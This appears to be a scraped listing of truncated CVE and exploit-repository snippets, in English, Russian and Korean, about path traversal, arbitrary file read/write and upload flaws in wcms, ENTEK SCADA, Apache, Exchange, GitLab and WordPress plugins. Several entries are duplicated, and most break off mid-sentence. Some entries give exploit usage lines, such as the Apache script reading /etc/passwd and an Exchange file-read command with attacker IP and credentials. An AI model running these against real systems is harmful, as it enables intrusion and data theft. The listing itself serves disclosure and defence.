CVE-2026-105123

W vincent-peugnet/wcms through 3.18.0 contains a remote code execution vulnerability that allows authenticated editors to write arbitrary files by abusing the unvalidated path in POST /api/v0/media/upload/:path. Attackers can upload .php files executed by the web server, use encoded ../ sequences...

The vulnerability of the platform for creating individual web applications in CRM involves an incorrect restriction on the path to the catalog, allowing attackers to delete arbitrary files.

The vulnerability of the platform for creating individual web applications in CRM involves incorrect restrictions on the path to the catalog. Exploiting this vulnerability could allow a malicious actor to delete arbitrary files remotely...

The vulnerability of the Enlogic SCADA system’s virtual controller “ENTEK” arises from incorrect restrictions on the path name to the catalog, allowing a intruder to write arbitrary files.

The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to an incorrect limitation on the path name to the catalog. Exploiting this vulnerability allows a malicious actor to write arbitrary files...

The vulnerability of the Enlogic SCADA system’s virtual controller “ENTEK” arises from improper external control of file names or paths, allowing attackers to delete arbitrary files.

The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to incorrect external control using filenames or paths. Exploiting this vulnerability could allow a malicious actor to delete any files at will...

The vulnerability of the Enlogic SCADA system’s virtual controller “ENTEK” arises from incorrect restrictions on the path name to the catalog, allowing attackers to read and write arbitrary files.

The vulnerability of the Enlogic SCADA system “ENTEK”’s virtual controller is related to an incorrect limitation on the name of the path to the catalog. Exploiting this vulnerability allows a malicious actor to read and write arbitrary files...

CVE-2026-105123 W (wcms) through 3.18.0 RCE and Arbitrary File Write via Media Upload API

W vincent-peugnet/wcms through 3.18.0 contains a remote code execution vulnerability that allows authenticated editors to write arbitrary files by abusing the unvalidated path in POST /api/v0/media/upload/:path. Attackers can upload .php files executed by the web server, use encoded ../ sequences...

CVE-2026-105123

The W (vincent-peugnet/wcms) content management system, version through 3.18.0 , is vulnerable to Remote Code Execution (RCE) and Arbitrary File Write via the Media Upload API. The root cause is an unvalidated path in the POST /api/v0/media/upload/[*:path] endpoint. Authenticated editors can expl...

CVE-2020-11579

CVE-2020-11579 Введение PHPKB 9.0 Enterprise Edition база данных MySQL подвержен неаутентифицированному раскрытию произвольных файлов через вредоносный MySQL-сервер. Удалённый злоумышленник может прочитать любой файл на удалённом хосте жертвы с привилегиями веб-сервера например, www-data с помощь...

CVE-2021-41773

CVE-2021-41773 Poc CVE-2021-41773 - Apache 2.4.49 with CGI enabled Использование : chmod -x CVE-2021-41773.sh ./CVE-2021-41773.sh http://ip:port/ /etc/passwd Ссылки https://nvd.nist.gov/vuln/detail/CVE-2021-41773 https://vulners.com/cve/CVE-2021-41773...

CVE-2025-4403

CVE-2025-4403 Эксплойт Подробности Опубликовано : 8 мая 2025 г. Обновлено : 9 мая 2025 г. Критичность : Высокая Оценка CVSS: 9.8 CWE : CWE-434 - Неограниченная загрузка файлов опасного типа Затронутые версии : Все версии от н/д до 1.1.6 Вектор CVSS Версия CVSS : 9.8 Строка вектора :...

CVE-2019-6447

️⃣ CVE-2019-6447 🖥️ -h3x0v3rl0rd- ES File Explorer 4.1.9.7.4 - 임의 파일 읽기...

CVE-2025-27817

Отказ от ответственности: Уязвимости и шаги по их воспроизведению, описанные в этой статье, предназначены исключительно для целей исследования в области сетевой безопасности и образования. Никто не имеет права использовать информацию, представленную в этой статье, в незаконных целях или для...

CVE-2026-45504

CVE-2026-45504 Чтение файлов Exchange Исследовательский блог CVE-2026-45504 Exchange File Read python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2024-54262

CVE-2024-54262 Import Export For WooCommerce = 1.5 - Аутентифицированный Подписчик+ Произвольная загрузка файлов Описание Плагин Import Export For WooCommerce для WordPress подвержен уязвимости произвольной загрузки файлов из-за отсутствия проверки типа файлов во всех версиях до 1.5 включительно...

CVE-2022-44268-Exploit

CVE-2022-44268-Эксплойт Эксплойт для CVE-2022-44268 PoC произвольного чтения файлов - генератор PNG Это доказательство концепции уязвимости ImageMagick, обнаруженной на https://www.metabaseq.com/imagemagick-zero-days/ Измените переменную malfile на pwd/pngout.png Измените cmd на путь к уязвимой...

nmap-CVE-2022-29464

nmap-CVE-2022-29464 nmap-CVE-2022-29464 — это NSE-скрипт для обнаружения уязвимости CVE-2022-29464. Неавторизованная и неограниченная уязвимость передачи произвольных файлов, которая позволяет неаутентифицированным злоумышленникам получать RCE на серверах WSO2, отправляя вредоносные JSP-файлы...

CVE-2020-10977.py

CVE-2020-10977.py аутентифицированное чтение произвольных файлов для Gitlab CVE-2020-10977 использование: CVE-2020-10977.py -h --verifySSL -f FILELIST host token Эксплойт для локального включения файлов Gitlab аутентифицированное чтение произвольных файлов — CVE-2020-10977. Измените переменную...

CVE-2024-8425

Wordpress WooCommerce Ultimate Gift Card = 2.6.0 - Неаутентифицированная произвольная загрузка файлов CVE-2024-8425 Плагин WooCommerce Ultimate Gift Card для WordPress уязвим к произвольной загрузке файлов из-за недостаточной проверки типа файлов в функциях 'mwbwgmpreviewmail' и...

ViteVulScan

ViteVulScan Описание уязвимостей Этот проект затрагивает 3 уязвимости: CVE-2025-30208 / CVE-2025-31125 / CVE-2025-31486, все они связаны с чтением произвольных файлов на сервере разработки Vite. Эти три уязвимости имеют широкое покрытие и просты в эксплуатации без ограничений. POC уязвимостей:...

vaultize_CVE-2024-36079

О уязвимости Локальная версия Vaultize DRM v.21.07.27 уязвима для загрузки произвольных файлов. Файлы, имена которых содержат часть абсолютного пути файловой системы, могут быть загружены из-за отсутствия фильтрации имени файла. Когда вы пытаетесь скачать файлы , приложение создает временный файл...